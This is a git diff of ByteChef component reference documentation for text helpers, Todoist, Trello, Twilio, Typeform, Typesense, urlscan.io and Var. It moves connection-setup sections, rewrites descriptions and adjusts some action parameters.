-  "localPart" : "",
-  "displayName" : "",
-  "domain" : "",
-  "email" : ""
-} ]
-```
-
-
-
-
-### Parse URL
-Name: parseUrl
-
-`Parses URL into structured data.`
-
-#### Properties
-
-|      Name       |      Label     |     Type     |     Description     | Required |
-|:---------------:|:--------------:|:------------:|:-------------------:|:--------:|
-| url | URL | STRING | The URL that will be turned into structured data. | true |
-
-#### Example JSON Structure
-```json
-{
-  "label" : "Parse URL",
-  "name" : "parseUrl",
-  "parameters" : {
-    "url" : ""
-  },
-  "type" : "textHelper/v1/parseUrl"
-}
-```
-
-#### Output
-
-
-
-Type: OBJECT
-
-
-#### Properties
-
-|     Name     |     Type     |     Description     |
-|:------------:|:------------:|:-------------------:|
-| protocol | STRING | The protocol of the URL. |
-| slashes | STRING | Indicates if the URL has a slash after the protocol. |
-| auth | STRING | The authentication information of the URL. |
-| host | STRING | The host part of the URL. |
-| port | STRING | The port part of the URL. |
-| hostname | STRING | The hostname part of the URL. |
-| hash | STRING | The hash part of the URL. |
-| search | STRING | The search part of the URL. |
-| pathname | STRING | The pathname part of the URL. |
-| path | STRING | The path part of the URL including the query if present. |
-| href | STRING | The full URL as a string. |
-| query | OBJECT <details> <summary> Properties </summary> &#123;STRING\(key), STRING\(value)&#125; </details> | The query parameters of the URL. |
-
-
-
-
-#### Output Example
-```json
-{
-  "protocol" : "",
-  "slashes" : "",
-  "auth" : "",
-  "host" : "",
-  "port" : "",
-  "hostname" : "",
-  "hash" : "",
-  "search" : "",
-  "pathname" : "",
-  "path" : "",
-  "href" : "",
-  "query" : {
-    "key" : "",
-    "value" : ""
-  }
-}
-```
-
-
-
-
-### Proper Case
-Name: properCase
-
-`Capitalize the first letter of every word.`
-
-#### Properties
-
-|      Name       |      Label     |     Type     |     Description     | Required |
-|:---------------:|:--------------:|:------------:|:-------------------:|:--------:|
-| text | Text | STRING | The text that will be turned into proper case. | true |
-
-#### Example JSON Structure
-```json
-{
-  "label" : "Proper Case",
-  "name" : "properCase",
-  "parameters" : {
-    "text" : ""
-  },
-  "type" : "textHelper/v1/properCase"
-}
-```
-
-#### Output
-
-
-
-Type: STRING
-
-
-
-
-
-
-
-
-
-
-### Regular Expression Match Test
-Name: regExMatchTest
-
-`Test if a string matches a regex.`
-
-#### Properties
-
-|      Name       |      Label     |     Type     |     Description     | Required |
-|:---------------:|:--------------:|:------------:|:-------------------:|:--------:|
-| text | Text | STRING | The text that will be matched to the regular expression. | true |
-| regularExpression | Regular Expression | STRING | Regular expression that will be used on the text. | true |
-| ignoreCase | Ignore Case | BOOLEAN <details> <summary> Options </summary> <span>true</span>, <span>false</span> </details> | If this value is set to true the regular expression will be case-insensitive. | false |
-| multiline | Multiline | BOOLEAN <details> <summary> Options </summary> <span>true</span>, <span>false</span> </details> | If this value is set to true the regular expression will be applied to multiple lines. | false |
-| unicode | Unicode | BOOLEAN <details> <summary> Options </summary> <span>true</span>, <span>false</span> </details> | If this value is set to true the regular expression will support unicode characters. | false |
-
-#### Example JSON Structure
-```json
-{
-  "label" : "Regular Expression Match Test",
-  "name" : "regExMatchTest",
-  "parameters" : {
-    "text" : "",
-    "regularExpression" : "",
-    "ignoreCase" : false,
-    "multiline" : false,
-    "unicode" : false
-  },
-  "type" : "textHelper/v1/regExMatchTest"
-}
-```
-
-#### Output
-
-
-
-Type: BOOLEAN
-
-
-
-
-
-
-
-
-
-
-### Remove Characters
-Name: removeCharacters
-
-`Remove specified characters from a string.`
-
-#### Properties
-
-|      Name       |      Label     |     Type     |     Description     | Required |
-|:---------------:|:--------------:|:------------:|:-------------------:|:--------:|
-| text | Text | STRING | The text that will be processed to remove specified characters. | true |
-| character | Character | STRING | Character that will be removed from the text. | true |
-
-#### Example JSON Structure
-```json
-{
-  "label" : "Remove Characters",
-  "name" : "removeCharacters",
-  "parameters" : {
-    "text" : "",
-    "character" : ""
-  },
-  "type" : "textHelper/v1/removeCharacters"
-}
-```
-
-#### Output
-
-
-
-Type: STRING
-
-
-
-
-
-
-
-
-
-
-### Remove Special Characters
-Name: removeSpecialCharacters
-
-`Remove special characters from a string.`
-
-#### Properties
-
-|      Name       |      Label     |     Type     |     Description     | Required |
-|:---------------:|:--------------:|:------------:|:-------------------:|:--------:|
-| text | Text | STRING | The text that will be processed to remove special characters. | true |
-
-#### Example JSON Structure
-```json
-{
-  "label" : "Remove Special Characters",
-  "name" : "removeSpecialCharacters",
-  "parameters" : {
-    "text" : ""
-  },
-  "type" : "textHelper/v1/removeSpecialCharacters"
-}
-```
-
-#### Output
-
-
-
-Type: STRING
-
-
-
-
-
-
-
-
-
-
-### Replace
-Name: replace
-
-`Replace all instances of any word, character, or phrase in text with another.`
-
-#### Properties
-
-|      Name       |      Label     |     Type     |     Description     | Required |
-|:---------------:|:--------------:|:------------:|:-------------------:|:--------:|
-| text | Text | STRING |  | true |
-| searchValue | Search Value | STRING | Can be plain text or a regex expression. | true |
-| replaceValue | Replace Value | STRING | Leave blank to remove the search value. | false |
-| replaceOnlyFirst | Replace Only First Match | BOOLEAN <details> <summary> Options </summary> <span>true</span>, <span>false</span> </details> |  | true |
-
-#### Example JSON Structure
-```json
-{
-  "label" : "Replace",
-  "name" : "replace",
-  "parameters" : {
-    "text" : "",
-    "searchValue" : "",
-    "replaceValue" : "",
-    "replaceOnlyFirst" : false
-  },
-  "type" : "textHelper/v1/replace"
-}
-```
-
-#### Output
-
-
-
-Type: STRING
-
-
-
-
-
-
-
-
-
-
-### Select First N Characters
-Name: selectFirstNCharacters
-
-`Select the first N characters from a string.`
-
-#### Properties
-
-|      Name       |      Label     |     Type     |     Description     | Required |
-|:---------------:|:--------------:|:------------:|:-------------------:|:--------:|
-| text | Text | STRING |  | true |
-| numberOfCharacters | Number of Characters | INTEGER | The number of characters to select. | true |
-
-#### Example JSON Structure
-```json
-{
-  "label" : "Select First N Characters",
-  "name" : "selectFirstNCharacters",
-  "parameters" : {
-    "text" : "",
-    "numberOfCharacters" : 1
-  },
-  "type" : "textHelper/v1/selectFirstNCharacters"
-}
-```
-
-#### Output
-
-
-
-Type: STRING
-
-
-
-
-
-
-
-
-
-
-### Select Last N Characters
-Name: selectLastNCharacters
-
-`Select the last N characters from a string.`
-
-#### Properties
-
-|      Name       |      Label     |     Type     |     Description     | Required |
-|:---------------:|:--------------:|:------------:|:-------------------:|:--------:|
-| text | Text | STRING |  | true |
-| numberOfCharacters | Number of Characters | INTEGER | The number of characters to select. | true |
-
-#### Example JSON Structure
-```json
-{
-  "label" : "Select Last N Characters",
-  "name" : "selectLastNCharacters",
-  "parameters" : {
-    "text" : "",
-    "numberOfCharacters" : 1
-  },
-  "type" : "textHelper/v1/selectLastNCharacters"
-}
-```
-
-#### Output
-
-
-
-Type: STRING
-
-
-
-
-
-
-
-
-
-
-### Sentence Case
-Name: sentenceCase
-
-`Converts string into sentence case.`
-
-#### Properties
-
-|      Name       |      Label     |     Type     |     Description     | Required |
-|:---------------:|:--------------:|:------------:|:-------------------:|:--------:|
-| text | Text | STRING | The input text that will be converted to sentence case. | true |
-
-#### Example JSON Structure
-```json
-{
-  "label" : "Sentence Case",
-  "name" : "sentenceCase",
-  "parameters" : {
-    "text" : ""
-  },
-  "type" : "textHelper/v1/sentenceCase"
-}
-```
-
-#### Output
-
-
-
-Type: STRING
-
-
-
-
-
-
-
-
-
-
-### Shorten
-Name: shorten
-
-`Shorten string to a max allowed length.`
-
-#### Properties
-
-|      Name       |      Label     |     Type     |     Description     | Required |
-|:---------------:|:--------------:|:------------:|:-------------------:|:--------:|
-| text | Text | STRING | The text that will be shortened. | true |
-| length | Length | INTEGER | Maximum allowed length of the string. | true |
-
-#### Example JSON Structure
-```json
-{
-  "label" : "Shorten",
-  "name" : "shorten",
-  "parameters" : {
-    "text" : "",
-    "length" : 1
-  },
-  "type" : "textHelper/v1/shorten"
-}
-```
-
-#### Output
-
-
-
-Type: STRING
-
-
-
-
-
-
-
-
-
-
-### Split
-Name: split
-
-`Split the text by delimiter.`
-
-#### Properties
-
-|      Name       |      Label     |     Type     |     Description     | Required |
-|:---------------:|:--------------:|:------------:|:-------------------:|:--------:|
-| text | Text | STRING |  | true |
-| delimiter | Delimiter | STRING | Delimiter used for splitting the text. | true |
-
-#### Example JSON Structure
-```json
-{
-  "label" : "Split",
-  "name" : "split",
-  "parameters" : {
-    "text" : "",
-    "delimiter" : ""
-  },
-  "type" : "textHelper/v1/split"
-}
-```
-
-#### Output
-
-
-
-Type: ARRAY
-
-
-Items Type: STRING
-
-
-
-
-
-
-#### Output Example
-```json
-[ "" ]
-```
-
-
-
-
-### Strip HTML Tags
-Name: stripHtmlTags
-
-`Remove HTML tags from a string leaving only the tag's text content.`
-
-#### Properties
-
-|      Name       |      Label     |     Type     |     Description     | Required |
-|:---------------:|:--------------:|:------------:|:-------------------:|:--------:|
-| text | Text | STRING | The input text that will be stripped from HTML tags. | true |
-
-#### Example JSON Structure
-```json
-{
-  "label" : "Strip HTML Tags",
-  "name" : "stripHtmlTags",
-  "parameters" : {
-    "text" : ""
-  },
-  "type" : "textHelper/v1/stripHtmlTags"
-}
-```
-
-#### Output
-
-
-
-Type: STRING
-
-
-
-
-
-
-
-
-
-
-### Trim Whitespace
-Name: trimWhitespace
-
-`Trim whitespace from the beginning and end of a string.`
-
-#### Properties
-
-|      Name       |      Label     |     Type     |     Description     | Required |
-|:---------------:|:--------------:|:------------:|:-------------------:|:--------:|
-| text | Text | STRING |  | true |
-
-#### Example JSON Structure
-```json
-{
-  "label" : "Trim Whitespace",
-  "name" : "trimWhitespace",
-  "parameters" : {
-    "text" : ""
-  },
-  "type" : "textHelper/v1/trimWhitespace"
-}
-```
-
-#### Output
-
-
-
-Type: STRING
-
-
-
-
-
-
-
-
-
-
-### Underscore
-Name: underscore
-
-`Convert text to snake case, lowercasing all text, removing special characters, and replacing spaces with underscores.`
-
-#### Properties
-
-|      Name       |      Label     |     Type     |     Description     | Required |
-|:---------------:|:--------------:|:------------:|:-------------------:|:--------:|
-| text | Text | STRING | The input text that will be converted to snake case. | true |
-
-#### Example JSON Structure
-```json
-{
-  "label" : "Underscore",
-  "name" : "underscore",
-  "parameters" : {
-    "text" : ""
-  },
-  "type" : "textHelper/v1/underscore"
-}
-```
-
-#### Output
-
-
-
-Type: STRING
-
-
-
-
-
-
-
-
-
-
-### Upper Case
-Name: upperCase
-
-`Convert a string to upper case.`
-
-#### Properties
-
-|      Name       |      Label     |     Type     |     Description     | Required |
-|:---------------:|:--------------:|:------------:|:-------------------:|:--------:|
-| text | Text | STRING |  | true |
-
-#### Example JSON Structure
-```json
-{
-  "label" : "Upper Case",
-  "name" : "upperCase",
-  "parameters" : {
-    "text" : ""
-  },
-  "type" : "textHelper/v1/upperCase"
-}
-```
-
-#### Output
-
-
-
-Type: STRING
-
-
-
-
-
-
-
-
-
-
-### URL Encode/Decode
-Name: urlEncodeDecode
-
-`URL encode/decode a specified string.`
+`URL encode/decode a specified string.`
 
 #### Properties
 
@@ -1915,59 +627,4 @@ Name: urlEncodeDecode
 
 
 
-Type: STRING
-
-
-
-
-
-
-
-
-
-
-### URL Encode/Decode Key/Value Pair
-Name: urlEncodeDecodeKeyValuePair
-
-`URL encode/decode a specified set of key/value pairs.`
-
-#### Properties
-
-|      Name       |      Label     |     Type     |     Description     | Required |
-|:---------------:|:--------------:|:------------:|:-------------------:|:--------:|
-| pairs | Pairs | ARRAY <details> <summary> Items </summary> [&#123;STRING\(key), STRING\(value)&#125;] </details> | Key/Value pairs that will be encoded. | true |
-| operation | Encode or Decode | STRING <details> <summary> Options </summary> <span>ENCODE</span>, <span>DECODE</span> </details> | Select whether to encode or decode the text. | true |
-
-#### Example JSON Structure
-```json
-{
-  "label" : "URL Encode/Decode Key/Value Pair",
-  "name" : "urlEncodeDecodeKeyValuePair",
-  "parameters" : {
-    "pairs" : [ {
-      "key" : "",
-      "value" : ""
-    } ],
-    "operation" : ""
-  },
-  "type" : "textHelper/v1/urlEncodeDecodeKeyValuePair"
-}
-```
-
-#### Output
-
-
-
-Type: STRING
-
-
-
-
-
-
-
-
-
-
-
-
+Type: STRING
\ No newline at end of file
diff --git a/docs/content/docs/reference/components/todoist_v1.mdx b/docs/content/docs/reference/components/todoist_v1.mdx
index 5f0aba8bfa5..1a668514343 100644
--- a/docs/content/docs/reference/components/todoist_v1.mdx
+++ b/docs/content/docs/reference/components/todoist_v1.mdx
@@ -1,9 +1,8 @@
 ---
-title: "Todoist"
-description: "Todoist is a task management application that helps users organize and prioritize their to-do lists."
+description: "Todoist component for ByteChef. Task management. Learn how to implement this in your ByteChef workflows."
+title: Todoist
 ---
 
-
 Categories: Productivity and Collaboration
 
 
@@ -30,24 +29,6 @@ Version: 1
 
 
 
-## Connection Setup
-
-Connect Todoist to ByteChef using OAuth 2.0 (Authorization Code).
-
-### Create a Todoist OAuth app
-1. Open the [Todoist App Management Console](https://app.todoist.com/app/settings/integrations/app-management).
-2. Click on **Add new integration**.
-3. Enter an app name (for example, `ByteChef Integration`). Click **Create App**.
-4. Add the ByteChef OAuth redirect (callback) URL(s):
-    - Cloud: `https://app.bytechef.io/callback`
-    - Local development: `http://127.0.0.1:5173/callback`
-5. Click **Save settings**.
-6. Copy the **Client ID** and **Client secret**.
-
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 49, boxSizing: 'border-box', paddingBottom: 'calc(53.05219207% + 32px)'}}>
-    <iframe src="https://www.guidejar.com/embed/5GVuKzFOsxfADSfE8hDf?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0}} allowFullScreen frameBorder="0"></iframe>
-</div>
-
 
 
 <hr />
@@ -117,8 +98,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### Mark Task as Completed
 Name: markTaskCompleted
 
@@ -149,8 +128,6 @@ This action does not produce any output.
 
 
 
-
-
 ### Create Project
 Name: createProject
 
@@ -212,11 +189,30 @@ Type: OBJECT
 
 
 
-
-
 ## What to do if your action is not listed here?
 
 If this component doesn't have the action you need, you can use **Custom Action** to create your own. Custom Actions empower you to define HTTP requests tailored to your specific requirements, allowing for greater flexibility in integrating with external services or APIs.
 
 To create a Custom Action, simply specify the desired HTTP method, path, and any necessary parameters. This way, you can extend the functionality of your component beyond the predefined actions, ensuring that you can meet all your integration needs effectively.
 
+<hr />
+
+# Additional Instructions
+
+## Connection Setup
+
+Connect Todoist to ByteChef using OAuth 2.0 (Authorization Code).
+
+### Create a Todoist OAuth app
+1. Open the [Todoist App Management Console](https://app.todoist.com/app/settings/integrations/app-management).
+2. Click on **Add new integration**.
+3. Enter an app name (for example, `ByteChef Integration`). Click **Create App**.
+4. Add the ByteChef OAuth redirect (callback) URL(s):
+    - Cloud: `https://app.bytechef.io/callback`
+    - Local development: `http://127.0.0.1:5173/callback`
+5. Click **Save settings**.
+6. Copy the **Client ID** and **Client secret**.
+
+<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 99999, boxSizing: 'border-box', paddingBottom: 'calc(53.05219207% + 32px)'}}>
+    <iframe src="https://www.guidejar.com/embed/5GVuKzFOsxfADSfE8hDf?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0}} allowFullScreen frameBorder="0"></iframe>
+</div>
\ No newline at end of file
diff --git a/docs/content/docs/reference/components/trello_v1.mdx b/docs/content/docs/reference/components/trello_v1.mdx
index 3f98a1d5fad..2b0f28d0f1e 100644
--- a/docs/content/docs/reference/components/trello_v1.mdx
+++ b/docs/content/docs/reference/components/trello_v1.mdx
@@ -30,29 +30,6 @@ Version: 1
 
 
 
-## Connection Setup
-
-### Create Trello App
-
-1. Navigate to https://trello.com/power-ups/admin.
-2. Click on **New**.
-3. Fill out form.
-4. Enter URL depending on your instance:
-    - `https://app.bytechef.io/callback` (Cloud)
-    - `http://localhost:5173/callback` (Local dev)
-5. Click on **Create**.
-6. Click on **API key**.
-7. Click on **Generate a new API key**.
-8. Your **API Key**.
-9. Click on **Token**.
-10. Click **Allow**.
-11. Now you can copy your **Token**.
-12. Done 🚀.
-
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 49, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
-    <iframe src="https://www.guidejar.com/embed/6cc1c20d-1aba-4803-9e3a-912ea7ff7922?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0, border: 'none'}} allowFullScreen></iframe>
-</div>
-
 
 
 <hr />
@@ -93,8 +70,6 @@ This action does not produce any output.
 
 
 
-
-
 ### Create Card
 Name: createCard
 
@@ -156,8 +131,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### Get Card
 Name: getCard
 
@@ -216,8 +189,6 @@ Type: OBJECT
 
 
 
-
-
 ## Triggers
 
 
@@ -272,10 +243,35 @@ Type: OBJECT
 
 
 
-
 ## What to do if your action is not listed here?
 
 If this component doesn't have the action you need, you can use **Custom Action** to create your own. Custom Actions empower you to define HTTP requests tailored to your specific requirements, allowing for greater flexibility in integrating with external services or APIs.
 
 To create a Custom Action, simply specify the desired HTTP method, path, and any necessary parameters. This way, you can extend the functionality of your component beyond the predefined actions, ensuring that you can meet all your integration needs effectively.
 
+<hr />
+
+# Additional Instructions
+
+## Connection Setup
+
+### Create Trello App
+
+1. Navigate to https://trello.com/power-ups/admin.
+2. Click on **New**.
+3. Fill out form.
+4. Enter URL depending on your instance:
+    - `https://app.bytechef.io/callback` (Cloud)
+    - `http://localhost:5173/callback` (Local dev)
+5. Click on **Create**.
+6. Click on **API key**.
+7. Click on **Generate a new API key**.
+8. Your **API Key**.
+9. Click on **Token**.
+10. Click **Allow**.
+11. Now you can copy your **Token**.
+12. Done 🚀.
+
+<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 99999, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
+    <iframe src="https://www.guidejar.com/embed/6cc1c20d-1aba-4803-9e3a-912ea7ff7922?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0, border: 'none'}} allowFullScreen></iframe>
+</div>
diff --git a/docs/content/docs/reference/components/twilio_v1.mdx b/docs/content/docs/reference/components/twilio_v1.mdx
index dc2b5f32d0b..5da1a1be589 100644
--- a/docs/content/docs/reference/components/twilio_v1.mdx
+++ b/docs/content/docs/reference/components/twilio_v1.mdx
@@ -1,9 +1,8 @@
 ---
-title: "Twilio"
-description: "Twilio is a cloud communications platform that enables developers to integrate messaging, voice, and video capabilities into their applications."
+description: "Twilio component for ByteChef. SMS and communications. Learn how to implement this in your ByteChef workflows."
+title: Twilio
 ---
 
-
 Categories: Communication
 
 
@@ -32,7 +31,6 @@ Version: 1
 
 
 
-
 <hr />
 
 
@@ -143,8 +141,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### Send WhatsApp Message
 Name: sendWhatsAppMessage
 
@@ -256,8 +252,6 @@ Type: OBJECT
 
 
 
-
-
 ## Triggers
 
 
@@ -285,10 +279,8 @@ The output for this action is dynamic and may vary depending on the input parame
 
 
 
-
 ## What to do if your action is not listed here?
 
 If this component doesn't have the action you need, you can use **Custom Action** to create your own. Custom Actions empower you to define HTTP requests tailored to your specific requirements, allowing for greater flexibility in integrating with external services or APIs.
 
-To create a Custom Action, simply specify the desired HTTP method, path, and any necessary parameters. This way, you can extend the functionality of your component beyond the predefined actions, ensuring that you can meet all your integration needs effectively.
-
+To create a Custom Action, simply specify the desired HTTP method, path, and any necessary parameters. This way, you can extend the functionality of your component beyond the predefined actions, ensuring that you can meet all your integration needs effectively.
\ No newline at end of file
diff --git a/docs/content/docs/reference/components/typeform_v1.mdx b/docs/content/docs/reference/components/typeform_v1.mdx
index e51841e1dd8..e6e62e31452 100644
--- a/docs/content/docs/reference/components/typeform_v1.mdx
+++ b/docs/content/docs/reference/components/typeform_v1.mdx
@@ -1,9 +1,8 @@
 ---
-title: "Typeform"
-description: "Typeform is an online survey and form-building tool that enables users to create interactive and engaging forms for collecting data and feedback."
+description: "Typeform component for ByteChef. Form and survey builder. Learn how to implement this in your ByteChef workflows."
+title: Typeform
 ---
 
-
 Categories: Surveys and Feedback
 
 
@@ -19,36 +18,16 @@ Type: typeform/v1
 Version: 1
 
 
-### Bearer Token
+### OAuth2 Authorization Code
 
 #### Properties
 
 |      Name       |      Label     |     Type     |     Description     | Required |
 |:---------------:|:--------------:|:------------:|:-------------------:|:--------:|
-| token | Personal Access Token | STRING |  | true |
-
-
-
-## Connection Setup
+| clientId | Client Id | STRING |  | true |
+| clientSecret | Client Secret | STRING |  | true |
 
-### Using Personal Access Token
 
-1. Log into your [Typeform account](https://admin.typeform.com/).
-2. Select your profile avatar in the upper right.
-3. Select **Your settings**.
-4. Select **Personal tokens**.
-5. Select **Generate a new token**.
-6. Give your token a name, like `Bytechef Integration`.
-7. For scopes, select **Custom scopes**. Select these scopes:
-    - Forms: Read, Write
-    - Webhooks: Read, Write
-    - Workspaces: Read
-8. Click **Generate token**.
-9. Copy the token and use it to create a connection in ByteChef.
-
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 49, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
-    <iframe src="https://www.guidejar.com/embed/At2vxJbo2Fb6UmXLS6Gc?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0}} allowFullScreen frameBorder="0"></iframe>
-</div>
 
 
 
@@ -58,10 +37,10 @@ Version: 1
 ## Actions
 
 
-### Create Empty Form
-Name: createEmptyForm
+### Create Form
+Name: createForm
 
-`Creates a new empty form.`
+`Creates a new form`
 
 #### Properties
 
@@ -69,19 +48,19 @@ Name: createEmptyForm
 |:---------------:|:--------------:|:------------:|:-------------------:|:--------:|
 | title | Title | STRING | Title to use for the form. | true |
 | type | Type | STRING <details> <summary> Options </summary> <span>quiz</span>, <span>classification</span>, <span>score</span>, <span>branching</span>, <span>classification_branching</span>, <span>score_branching</span> </details> | Form type for the typeform. | false |
-| workspace | Workspace URL | STRING | URL of the workspace to use for the typeform. | true |
+| workspace | Workspace | STRING | Workspace where the form will be created. | false |
 
 #### Example JSON Structure
 ```json
 {
-  "label" : "Create Empty Form",
-  "name" : "createEmptyForm",
+  "label" : "Create Form",
+  "name" : "createForm",
   "parameters" : {
     "title" : "",
     "type" : "",
     "workspace" : ""
   },
-  "type" : "typeform/v1/createEmptyForm"
+  "type" : "typeform/v1/createForm"
 }
 ```
 
@@ -92,64 +71,9 @@ Name: createEmptyForm
 Type: OBJECT
 
 
-#### Properties
-
-|     Name     |     Type     |     Description     |
-|:------------:|:------------:|:-------------------:|
-| id | STRING |  |
-| type | STRING |  |
-| title | STRING |  |
-| workspace | OBJECT <details> <summary> Properties </summary> &#123;STRING\(href)&#125; </details> |  |
-| theme | OBJECT <details> <summary> Properties </summary> &#123;STRING\(href)&#125; </details> |  |
-| settings | OBJECT <details> <summary> Properties </summary> &#123;STRING\(language), STRING\(progress_bar), &#123;BOOLEAN\(allow_indexing)&#125;\(meta), BOOLEAN\(hide_navigation), BOOLEAN\(is_public), BOOLEAN\(is_trial), BOOLEAN\(show_progress_bar), BOOLEAN\(show_typeform_branding), BOOLEAN\(are_uploads_public), BOOLEAN\(show_time_to_complete), BOOLEAN\(show_number_of_submissions), BOOLEAN\(show_cookie_consent), BOOLEAN\(show_question_number), BOOLEAN\(show_key_hint_on_choices), BOOLEAN\(autosave_progress), BOOLEAN\(free_form_navigation), BOOLEAN\(use_lead_qualification), BOOLEAN\(pro_subdomain_enabled), BOOLEAN\(auto_translate), BOOLEAN\(partial_responses_to_all_integrations)&#125; </details> |  |
-| _links | OBJECT <details> <summary> Properties </summary> &#123;STRING\(display), STRING\(responses)&#125; </details> |  |
-
 
 
 
-#### Output Example
-```json
-{
-  "id" : "",
-  "type" : "",
-  "title" : "",
-  "workspace" : {
-    "href" : ""
-  },
-  "theme" : {
-    "href" : ""
-  },
-  "settings" : {
-    "language" : "",
-    "progress_bar" : "",
-    "meta" : {
-      "allow_indexing" : false
-    },
-    "hide_navigation" : false,
-    "is_public" : false,
-    "is_trial" : false,
-    "show_progress_bar" : false,
-    "show_typeform_branding" : false,
-    "are_uploads_public" : false,
-    "show_time_to_complete" : false,
-    "show_number_of_submissions" : false,
-    "show_cookie_consent" : false,
-    "show_question_number" : false,
-    "show_key_hint_on_choices" : false,
-    "autosave_progress" : false,
-    "free_form_navigation" : false,
-    "use_lead_qualification" : false,
-    "pro_subdomain_enabled" : false,
-    "auto_translate" : false,
-    "partial_responses_to_all_integrations" : false
-  },
-  "_links" : {
-    "display" : "",
-    "responses" : ""
-  }
-}
-```
-
 
 
 
@@ -168,12 +92,18 @@ Type: DYNAMIC_WEBHOOK
 
 |      Name       |      Label     |     Type     |     Description     | Required |
 |:---------------:|:--------------:|:------------:|:-------------------:|:--------:|
-| formId | Form ID | STRING | ID for the form. Find in your form URL. For example, in the URL "https://mysite.typeform.com/to/u6nXL7" the form id is u6nXL7. | true |
+| form | Form Name | STRING |  | true |
 
 
 #### Output
 
-The output for this action is dynamic and may vary depending on the input parameters. To determine the exact structure of the output, you need to execute the action.
+
+
+Type: OBJECT
+
+
+
+
 
 #### JSON Example
 ```json
@@ -181,13 +111,8 @@ The output for this action is dynamic and may vary depending on the input parame
   "label" : "New Submission",
   "name" : "newSubmission",
   "parameters" : {
-    "formId" : ""
+    "form" : ""
   },
   "type" : "typeform/v1/newSubmission"
 }
-```
-
-
-
-
-
+```
\ No newline at end of file
diff --git a/docs/content/docs/reference/components/typesense_v1.mdx b/docs/content/docs/reference/components/typesense_v1.mdx
index a987a7a7956..5c32a401cca 100644
--- a/docs/content/docs/reference/components/typesense_v1.mdx
+++ b/docs/content/docs/reference/components/typesense_v1.mdx
@@ -1,9 +1,8 @@
 ---
-title: "Typesense"
-description: "Typesense is an open-source, in-memory search engine designed for fast, typo-tolerant, and relevance-focused full-text search across large datasets."
+description: "Typesense component for ByteChef. Search engine. Learn how to implement this in your ByteChef workflows."
+title: Typesense
 ---
 
-
 Categories: Artificial Intelligence
 
 
@@ -37,7 +36,6 @@ Version: 1
 
 
 
-
 <hr />
 
 
@@ -74,8 +72,6 @@ The output for this action is dynamic and may vary depending on the input parame
 
 
 
-
-
 ### Load Data
 Name: load
 
@@ -92,12 +88,4 @@ Name: load
 
 #### Output
 
-This action does not produce any output.
-
-
-
-
-
-
-
-
+This action does not produce any output.
\ No newline at end of file
diff --git a/docs/content/docs/reference/components/urlscan_v1.mdx b/docs/content/docs/reference/components/urlscan_v1.mdx
index 3db59704a92..429cb454ef5 100644
--- a/docs/content/docs/reference/components/urlscan_v1.mdx
+++ b/docs/content/docs/reference/components/urlscan_v1.mdx
@@ -1,9 +1,8 @@
 ---
-title: "Urlscan.io"
-description: "Urlscan.io is an online service that allows you to safely analyze websites and URLs to determine potential security threats and risks."
+description: "Urlscan component for ByteChef. URL and security scanning. Learn how to implement this in your ByteChef workflows."
+title: Urlscan.io
 ---
 
-
 Categories: Helpers
 
 
@@ -30,18 +29,6 @@ Version: 1
 
 
 
-## Connection Setup
-
-1. Login to the dashboard at https://urlscan.io/user/login/.
-2. Click on Settings & API.
-3. Click on New API key.
-4. Add description and click Create API key.
-6. Copy the API key. Use these credentials to create a connection in ByteChef.
-
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 49, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
-<iframe src="https://www.guidejar.com/embed/5eJLnxvAldcNtv2UWwHq?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0}} allowFullScreen frameBorder="0"></iframe>
-</div>
-
 
 
 <hr />
@@ -107,8 +94,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### Result
 Name: result
 
@@ -571,8 +556,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### Screenshot
 Name: screenshot
 
@@ -628,11 +611,24 @@ Type: FILE_ENTRY
 
 
 
-
-
 ## What to do if your action is not listed here?
 
 If this component doesn't have the action you need, you can use **Custom Action** to create your own. Custom Actions empower you to define HTTP requests tailored to your specific requirements, allowing for greater flexibility in integrating with external services or APIs.
 
 To create a Custom Action, simply specify the desired HTTP method, path, and any necessary parameters. This way, you can extend the functionality of your component beyond the predefined actions, ensuring that you can meet all your integration needs effectively.
 
+<hr />
+
+# Additional Instructions
+
+## Connection Setup
+
+1. Login to the dashboard at https://urlscan.io/user/login/.
+2. Click on Settings & API.
+3. Click on New API key.
+4. Add description and click Create API key.
+6. Copy the API key. Use these credentials to create a connection in ByteChef.
+
+<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 99999, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
+<iframe src="https://www.guidejar.com/embed/5eJLnxvAldcNtv2UWwHq?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0}} allowFullScreen frameBorder="0"></iframe>
+</div>
\ No newline at end of file
diff --git a/docs/content/docs/reference/components/var_v1.mdx b/docs/content/docs/reference/components/var_v1.mdx
index 79058b013d3..9b414222487 100644
--- a/docs/content/docs/reference/components/var_v1.mdx
+++ b/docs/content/docs/reference/components/var_v1.mdx
@@ -1,9 +1,8 @@
 ---
-title: "Var"
-description: "Sets a value which can then be referenced in other tasks."
+description: "Variable component for ByteChef. Store dynamic values. Learn how to implement this in your ByteChef workflows."
+title: Variable (Var)
 ---
 
-
 Categories: Helpers
 
 
@@ -52,12 +51,4 @@ Name: set
 
 #### Output
 
-The output for this action is dynamic and may vary depending on the input parameters. To determine the exact structure of the output, you need to execute the action.
-
-
-
-
-
-
-
-
